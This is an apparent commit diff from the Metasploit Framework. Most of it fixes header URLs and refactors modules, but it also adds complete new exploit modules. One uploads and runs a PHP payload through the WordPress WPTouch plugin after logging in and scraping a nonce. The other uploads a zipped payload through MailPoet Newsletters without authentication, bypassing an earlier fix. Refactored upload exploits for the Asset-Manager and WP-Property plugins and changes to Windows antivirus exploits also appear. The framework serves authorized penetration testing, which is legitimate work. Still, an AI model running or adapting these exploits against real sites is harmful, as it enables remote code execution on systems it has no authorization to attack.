http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/webtester_exec.rb b/modules/exploits/unix/webapp/webtester_exec.rb index 12d8dbb6cb..7d6f169d17 100644 --- a/modules/exploits/unix/webapp/webtester_exec.rb +++ b/modules/exploits/unix/webapp/webtester_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb b/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb index bdb1719f9c..008317ea7f 100644 --- a/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb +++ b/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -23,13 +23,14 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Charlie Eriksen ', + 'Charlie Eriksen ' ], 'License' => MSF_LICENSE, 'References' => [ ['OSVDB', '87353'], ['URL', 'http://secunia.com/advisories/51037/'], + ['WPVDB', '6103'] ], 'Privileged' => false, 'Payload' => @@ -37,8 +38,8 @@ class Metasploit3 < Msf::Exploit::Remote 'DisableNops' => true, 'Compat' => { - 'ConnectionType' => 'find', - }, + 'ConnectionType' => 'find' + } }, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb b/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb index 09f4f1396f..78b84dce25 100644 --- a/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb +++ b/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -8,81 +8,77 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::PhpEXE + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper def initialize(info = {}) - super(update_info(info, + super(update_info( + info, 'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability', - 'Description' => %q{ - This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress - plugin. By abusing the upload.php file, a malicious user can upload a file to a + 'Description' => %q( + This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress + plugin. By abusing the upload.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. - }, + ), 'Author' => [ - 'Sammy FORGIT', # initial discovery - 'James Fitts ' # metasploit module + 'Sammy FORGIT', # initial discovery + 'James Fitts ' # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ - [ 'OSVDB', '82653' ], - [ 'BID', '53809' ], - [ 'EDB', '18993' ], - [ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html' ] + ['OSVDB', '82653'], + ['BID', '53809'], + ['EDB', '18993'], + ['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html'], + ['WPVDB', '6106'] ], - 'Payload' => - { - 'BadChars' => "\x00", - }, 'Platform' => 'php', 'Arch' => ARCH_PHP, - 'Targets' => - [ - [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], - [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] - ], + 'Targets' => [['asset-manager <= 2.0', {}]], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 26 2012')) + end - register_options( - [ - OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress']) - ], self.class) + def check + uri = normalize_uri(wordpress_url_plugins, 'asset-manager', 'upload.php') + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => uri + ) + + return Exploit::CheckCode::Unknown if res.nil? || res.code != 200 + + Exploit::CheckCode::Detected end def exploit - uri = target_uri.path - uri << '/' if uri[-1,1] != '/' - peer = "#{rhost}:#{rport}" payload_name = "#{rand_text_alpha(5)}.php" - php_payload = get_write_exec_payload(:unlink_self=>true) data = Rex::MIME::Message.new - data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"") + data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"") post_data = data.to_s print_status("#{peer} - Uploading payload #{payload_name}") - res = send_request_cgi({ + res = send_request_cgi( 'method' => 'POST', - 'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php", + 'uri' => normalize_uri(wordpress_url_plugins, 'asset-manager', 'upload.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data - }) + ) - if not res or res.code != 200 or res.body !~ /#{payload_name}/ + if res.nil? || res.code != 200 || res.body !~ /#{payload_name}/ fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") end - print_status("#{peer} - Executing payload #{payload_name}") - res = send_request_raw({ - 'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}", - 'method' => 'GET' - }) + register_files_for_cleanup(payload_name) - if res and res.code != 200 - fail_with(Failure::UnexpectedReply, "#{peer} - Execution failed") - end + print_status("#{peer} - Executing payload #{payload_name}") + send_request_raw( + 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'assets', 'temp', payload_name), + 'method' => 'GET' + ) end end diff --git a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb index 917730eeac..f7e59f655a 100644 --- a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb +++ b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -34,6 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2012-4915'], ['OSVDB', '88891'], ['URL', 'http://secunia.com/advisories/50832'], + ['WPVDB', '6073'] ], 'Privileged' => false, 'Payload' => diff --git a/modules/exploits/unix/webapp/wp_property_upload_exec.rb b/modules/exploits/unix/webapp/wp_property_upload_exec.rb index 0d576a5d8c..b4f01b84c6 100644 --- a/modules/exploits/unix/webapp/wp_property_upload_exec.rb +++ b/modules/exploits/unix/webapp/wp_property_upload_exec.rb @@ -1,25 +1,25 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::PhpEXE + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper def initialize(info = {}) - super(update_info(info, + super(update_info( + info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability', - 'Description' => %q{ - This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress + 'Description' => %q( + This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress plugin. By abusing the uploadify.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. - }, + ), 'Author' => [ 'Sammy FORGIT', # initial discovery @@ -28,82 +28,63 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'OSVDB', '82656' ], - [ 'BID', '53787' ], - [ 'EDB', '18987'], - [ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ] + ['OSVDB', '82656'], + ['BID', '53787'], + ['EDB', '18987'], + ['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html'], + ['WPVDB', '6225'] ], - 'Payload' => - { - 'BadChars' => "\x00", - }, 'Platform' => 'php', 'Arch' => ARCH_PHP, - 'Targets' => - [ - [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], - [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] - ], + 'Targets' => [['wp-property <= 1.35.0', {}]], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 26 2012')) - - register_options( - [ - OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress']) - ], self.class) end def check - uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-property', 'third-party', 'uploadify', 'uploadify.php') + uri = normalize_uri(wordpress_url_plugins, 'wp-property', 'third-party', 'uploadify', 'uploadify.php') - res = send_request_cgi({ + res = send_request_cgi( 'method' => 'GET', 'uri' => uri - }) + ) - if not res or res.code != 200 - return Exploit::CheckCode::Unknown - end + return Exploit::CheckCode::Unknown if res.nil? || res.code != 200 - return Exploit::CheckCode::Appears + Exploit::CheckCode::Detected end def exploit - data_uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-property', 'third-party', 'uploadify/') + data_uri = normalize_uri(wordpress_url_plugins, 'wp-property', 'third-party', 'uploadify/') request_uri = normalize_uri(data_uri, 'uploadify.php') - peer = "#{rhost}:#{rport}" - - @payload_name = "#{rand_text_alpha(5)}.php" - php_payload = get_write_exec_payload(:unlink_self=>true) + payload_name = "#{rand_text_alpha(5)}.php" data = Rex::MIME::Message.new - data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"") + data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"") data.add_part(data_uri, nil, nil, "form-data; name=\"folder\"") post_data = data.to_s - print_status("#{peer} - Uploading payload #{@payload_name}") - res = send_request_cgi({ + print_status("#{peer} - Uploading payload #{payload_name}") + res = send_request_cgi( 'method' => 'POST', 'uri' => request_uri, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data - }) + ) - if not res or res.code != 200 or res.body !~ /#{@payload_name}/ + if res.nil? || res.code != 200 || res.body !~ /#{payload_name}/ fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") end + register_files_for_cleanup(payload_name) + upload_uri = normalize_uri(res.body) - print_status("#{peer} - Executing payload #{@payload_name}") - res = send_request_raw({ + print_status("#{peer} - Executing payload #{payload_name}") + send_request_raw( 'uri' => upload_uri, 'method' => 'GET' - }) - - if res and res.code != 200 - fail_with(Failure::UnexpectedReply, "#{peer} - Execution failed") - end + ) end end diff --git a/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb b/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb new file mode 100644 index 0000000000..49bb972908 --- /dev/null +++ b/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb @@ -0,0 +1,148 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Wordpress WPTouch Authenticated File Upload', + 'Description' => %q{ + The Wordpress WPTouch plugin contains an auhtenticated file upload + vulnerability. A wp-nonce (CSRF token) is created on the backend index + page and the same token is used on handling ajax file uploads through + the plugin. By sending the captured nonce with the upload, we can + upload arbitrary files to the upload folder. Because the plugin also + uses it's own file upload mechanism instead of the wordpress api it's + possible to upload any file type. + The user provided does not need special rights, and users with "Contributor" + role can be abused. + }, + 'Author' => + [ + 'Marc-Alexandre Montpas', # initial discovery + 'Christian Mehlmauer' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://blog.sucuri.net/2014/07/disclosure-insecure-nonce-generation-in-wptouch.html'], + ['WPVDB', '7118'] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [['wptouch < 3.4.3', {}]], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 14 2014')) + + register_options( + [ + OptString.new('USER', [true, 'A valid username', nil]), + OptString.new('PASSWORD', [true, 'Valid password for the provided username', nil]) + ], self.class) + end + + def user + datastore['USER'] + end + + def password + datastore['PASSWORD'] + end + + def check + check_plugin_version_from_readme('wptouch', '3.4.3') + end + + def get_nonce(cookie) + res = send_request_cgi( + 'uri' => wordpress_url_backend, + 'method' => 'GET', + 'cookie' => cookie + ) + + # forward to profile.php or other page? + if res && res.redirect? && res.redirection + location = res.redirection + print_status("#{peer} - Following redirect to #{location}") + res = send_request_cgi( + 'uri' => location, + 'method' => 'GET', + 'cookie' => cookie + ) + end + + if res && res.body && res.body =~ /var WPtouchCustom = {[^}]+"admin_nonce":"([a-z0-9]+)"};/ + return Regexp.last_match[1] + else + return nil + end + end + + def upload_file(cookie, nonce) + filename = "#{rand_text_alpha(10)}.php" + + data = Rex::MIME::Message.new + data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"myfile\"; filename=\"#{filename}\"") + data.add_part('homescreen_image', nil, nil, 'form-data; name="file_type"') + data.add_part('upload_file', nil, nil, 'form-data; name="action"') + data.add_part('wptouch__foundation__logo_image', nil, nil, 'form-data; name="setting_name"') + data.add_part(nonce, nil, nil, 'form-data; name="wp_nonce"') + post_data = data.to_s + + print_status("#{peer} - Uploading payload") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => wordpress_url_admin_ajax, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data, + 'cookie' => cookie + ) + + if res && res.code == 200 && res.body && res.body.length > 0 + register_files_for_cleanup(filename) + return res.body + end + + nil + end + + def exploit + print_status("#{peer} - Trying to login as #{user}") + cookie = wordpress_login(user, password) + if cookie.nil? + print_error("#{peer} - Unable to login as #{user}") + return + end + + print_status("#{peer} - Trying to get nonce") + nonce = get_nonce(cookie) + if nonce.nil? + print_error("#{peer} - Can not get nonce after login") + return + end + print_status("#{peer} - Got nonce #{nonce}") + + print_status("#{peer} - Trying to upload payload") + file_path = upload_file(cookie, nonce) + if file_path.nil? + print_error("#{peer} - Error uploading file") + return + end + + print_status("#{peer} - Calling uploaded file #{file_path}") + send_request_cgi( + 'uri' => file_path, + 'method' => 'GET' + ) + end +end diff --git a/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb b/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb new file mode 100644 index 0000000000..7957fbfc46 --- /dev/null +++ b/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb @@ -0,0 +1,121 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Wordpress MailPoet Newsletters (wysija-newsletters) Unauthenticated File Upload', + 'Description' => %q{ + The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8 + is vulnerable to an unauthenticated file upload. The exploit uses the Upload Theme + functionality to upload a zip file containing the payload. The plugin uses the + admin_init hook, which is also executed for unauthenticated users when accessing + a specific URL. The first fix for this vulnerability appeared in version 2.6.7, + but the fix can be bypassed. In PHP's default configuration, + a POST variable overwrites a GET variable in the $_REQUEST array. The plugin + uses $_REQUEST to check for access rights. By setting the POST parameter to + something not beginning with 'wysija_', the check is bypassed. Wordpress uses + the $_GET array to determine the page, so it is not affected by this. The developers + applied the fixes to all previous versions too. + }, + 'Author' => + [ + 'Marc-Alexandre Montpas', # initial discovery + 'Christian Mehlmauer' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html'], + ['URL', 'http://www.mailpoet.com/security-update-part-2/'], + ['URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php'], + ['WPVDB', '6680'] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [['wysija-newsletters < 2.6.8', {}]], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 1 2014')) + end + + def create_zip_file(theme_name, payload_name) + # the zip file must match the following: + # -) Exactly one folder representing the theme name + # -) A style.css in the theme folder + # -) Additional files in the folder + + content = { + ::File.join(theme_name, 'style.css') => '', + ::File.join(theme_name, payload_name) => payload.encoded + } + + zip_file = Rex::Zip::Archive.new + content.each_pair do |name, con| + zip_file.add_file(name, con) + end + + zip_file.pack + end + + def check + check_plugin_version_from_readme('wysija-newsletters', '2.6.8') + end + + def exploit + theme_name = rand_text_alpha(10) + payload_name = "#{rand_text_alpha(10)}.php" + + zip_content = create_zip_file(theme_name, payload_name) + + uri = normalize_uri(wordpress_url_backend, 'admin-post.php') + + data = Rex::MIME::Message.new + data.add_part(zip_content, 'application/x-zip-compressed', 'binary', "form-data; name=\"my-theme\"; filename=\"#{rand_text_alpha(5)}.zip\"") + data.add_part('on', nil, nil, 'form-data; name="overwriteexistingtheme"') + data.add_part('themeupload', nil, nil, 'form-data; name="action"') + data.add_part('Upload', nil, nil, 'form-data; name="submitter"') + # this line bypasses the check implemented in version 2.6.7 + data.add_part(rand_text_alpha(10), nil, nil, 'form-data; name="page"') + post_data = data.to_s + + payload_uri = normalize_uri(target_uri.path, wp_content_dir, 'uploads', 'wysija', 'themes', theme_name, payload_name) + + print_status("#{peer} - Uploading payload to #{payload_uri}") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'vars_get' => { 'page' => 'wysija_campaigns', 'action' => 'themes' }, + 'data' => post_data + ) + + if res.nil? || res.code != 302 || res.headers['Location'] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1' + fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") + end + + # Files to cleanup (session is dropped in the created folder): + # style.css + # the payload + # the theme folder (manual cleanup) + register_files_for_cleanup('style.css', payload_name) + + print_warning("#{peer} - The theme folder #{theme_name} can not be removed. Please delete it manually.") + + print_status("#{peer} - Executing payload #{payload_uri}") + send_request_cgi( + 'uri' => payload_uri, + 'method' => 'GET' + ) + end +end diff --git a/modules/exploits/unix/webapp/xoda_file_upload.rb b/modules/exploits/unix/webapp/xoda_file_upload.rb index 0ad5036393..45e7ecf389 100644 --- a/modules/exploits/unix/webapp/xoda_file_upload.rb +++ b/modules/exploits/unix/webapp/xoda_file_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/zeroshell_exec.rb b/modules/exploits/unix/webapp/zeroshell_exec.rb index 8558d6edcb..6b77a26165 100644 --- a/modules/exploits/unix/webapp/zeroshell_exec.rb +++ b/modules/exploits/unix/webapp/zeroshell_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerEcho + include Msf::Exploit::CmdStager include Msf::Exploit::EXE def initialize(info={}) @@ -47,6 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote [ OptString.new('TARGETURI', [true, 'The base path to the ZeroShell instance', '/']) ], self.class) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def uri @@ -149,7 +150,7 @@ class Metasploit3 < Msf::Exploit::Remote @session = login(admin_password) - execute_cmdstager + execute_cmdstager({:flavor => :echo}) end end diff --git a/modules/exploits/unix/webapp/zimbra_lfi.rb b/modules/exploits/unix/webapp/zimbra_lfi.rb index bdb1e08464..c126de0f39 100644 --- a/modules/exploits/unix/webapp/zimbra_lfi.rb +++ b/modules/exploits/unix/webapp/zimbra_lfi.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb index 3f8dab74c2..c0b5f3a306 100644 --- a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb +++ b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/zpanel_username_exec.rb b/modules/exploits/unix/webapp/zpanel_username_exec.rb index 6191617631..5a398002a8 100644 --- a/modules/exploits/unix/webapp/zpanel_username_exec.rb +++ b/modules/exploits/unix/webapp/zpanel_username_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/antivirus/ams_hndlrsvc.rb b/modules/exploits/windows/antivirus/ams_hndlrsvc.rb index 5e3cd321ae..f0da843b45 100644 --- a/modules/exploits/windows/antivirus/ams_hndlrsvc.rb +++ b/modules/exploits/windows/antivirus/ams_hndlrsvc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::Tcp def initialize(info = {}) @@ -39,6 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'Privileged' => true, 'Platform' => 'win', + 'CmdStagerFlavor' => 'tftp', 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 26 2010')) @@ -50,11 +51,8 @@ class Metasploit3 < Msf::Exploit::Remote end def windows_stager - - exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" - print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.'}) + execute_cmdstager({ :temp => '.' }) @payload_exe = payload_exe print_status("Attempting to execute the payload...") diff --git a/modules/exploits/windows/antivirus/ams_xfr.rb b/modules/exploits/windows/antivirus/ams_xfr.rb index 1148ae14c0..53b66c2e87 100644 --- a/modules/exploits/windows/antivirus/ams_xfr.rb +++ b/modules/exploits/windows/antivirus/ams_xfr.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::Tcp def initialize(info = {}) @@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote } ] ], + 'CmdStagerFlavor' => 'tftp', 'Privileged' => true, 'Platform' => 'win', 'DefaultTarget' => 0, @@ -55,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.'}) + execute_cmdstager({ :temp => '.' }) @payload_exe = payload_exe print_status("Attempting to execute the payload...") diff --git a/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb b/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb index ff2e97a734..e76b950c6b 100644 --- a/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb +++ b/modules/exploits/windows/antivirus/symantec_endpoint_manager_rce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include REXML - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def initialize(info = {}) @@ -52,6 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote Opt::RPORT(9090), OptString.new('TARGETURI', [true, 'The base path', '/']) ], self.class) + deregister_options('CMDSTAGER::FLAVOR') end def check @@ -71,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit print_status("#{peer} - Sending payload") # Execute the cmdstager, max length of the commands is ~3950 - execute_cmdstager({:linemax => 3950}) + execute_cmdstager({:flavor => :vbs, :linemax => 3950}) end def execute_command(cmd, opts = {}) diff --git a/modules/exploits/windows/antivirus/symantec_iao.rb b/modules/exploits/windows/antivirus/symantec_iao.rb index 4762cab17f..48b9a23fb3 100644 --- a/modules/exploits/windows/antivirus/symantec_iao.rb +++ b/modules/exploits/windows/antivirus/symantec_iao.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/antivirus/symantec_rtvscan.rb b/modules/exploits/windows/antivirus/symantec_rtvscan.rb index 07d2b699b0..d766eb6294 100644 --- a/modules/exploits/windows/antivirus/symantec_rtvscan.rb +++ b/modules/exploits/windows/antivirus/symantec_rtvscan.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/antivirus/symantec_workspace_streaming_exec.rb b/modules/exploits/windows/antivirus/symantec_workspace_streaming_exec.rb index c7fe29df13..79d0aa4b43 100644 --- a/modules/exploits/windows/antivirus/symantec_workspace_streaming_exec.rb +++ b/modules/exploits/windows/antivirus/symantec_workspace_streaming_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb b/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb index e3cd0c964b..96d629dcf2 100644 --- a/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb +++ b/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb b/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb index 994d5acd85..026513e734 100644 --- a/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb +++ b/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb b/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb index b422a06cf5..ef09da8928 100644 --- a/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb +++ b/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/arkeia/type77.rb b/modules/exploits/windows/arkeia/type77.rb index 3fce25e2a8..d1c08fd8c3 100644 --- a/modules/exploits/windows/arkeia/type77.rb +++ b/modules/exploits/windows/arkeia/type77.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/backdoor/energizer_duo_payload.rb b/modules/exploits/windows/backdoor/energizer_duo_payload.rb index 8fbfd803a2..972c0407b4 100644 --- a/modules/exploits/windows/backdoor/energizer_duo_payload.rb +++ b/modules/exploits/windows/backdoor/energizer_duo_payload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/backupexec/name_service.rb b/modules/exploits/windows/backupexec/name_service.rb index e59550a872..1ddaa8eb98 100644 --- a/modules/exploits/windows/backupexec/name_service.rb +++ b/modules/exploits/windows/backupexec/name_service.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/backupexec/remote_agent.rb b/modules/exploits/windows/backupexec/remote_agent.rb index 2fd714b4ab..b40389ec0c 100644 --- a/modules/exploits/windows/backupexec/remote_agent.rb +++ b/modules/exploits/windows/backupexec/remote_agent.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: 